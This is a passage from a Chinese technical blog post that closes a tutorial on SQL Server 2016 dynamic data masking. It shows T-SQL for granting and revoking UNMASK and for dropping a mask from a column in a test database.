dbo.CustomerInfo_copied TO DemoUser;EXECUTE AS USER = ‘DemoUser’;SELECT * FROM dbo.CustomerInfo_copiedREVERTDemoUser复制了客户信息数据到新表后,查看新表中的数据,依然是被打码的,测试用户无法导出、复制客人的隐私数据。达到了安全策略保护客户隐私数据的目的,展示结果如下:我想要在无码的世界如果有一天DemoUser成了高权限用户,确实需要查看客户隐私数据列,这个时候,我们可以给予测试账号unmask的权限,他就可以看到完整的客户数据了。方法如下:– Step 11: But, how can demo user to query the unmasked data?USE TestDBGOGRANT UNMASK TO DemoUser; EXECUTE AS USER = ‘DemoUser’; SELECT * FROM dbo.CustomerInfo; REVERT; – Removing the UNMASK permission REVOKE UNMASK TO DemoUser;此时,DemoUser查询到的数据,是非常完整的客人数据。删掉打码删除打码,让所有用户回归无码的世界。– Step 12: all the demos have been done, it’s time to drop the mask.USE TestDBGOALTER TABLE dbo.CustomerInfo ALTER COLUMN CustomerPhone DROP MASKED; 最后总结本期月报我们分享了使用SQL Server 2016引入的新特性dynamic data masking实现客户数据打码技术,防止未授权用户查看、导出用户关键隐私数据,最大限度保证用户数据安全性。本文作者:风移阅读原文本文为云栖社区原创内容,未经允许不得转载。 ...

March 27, 2019 · 2 min · jiezi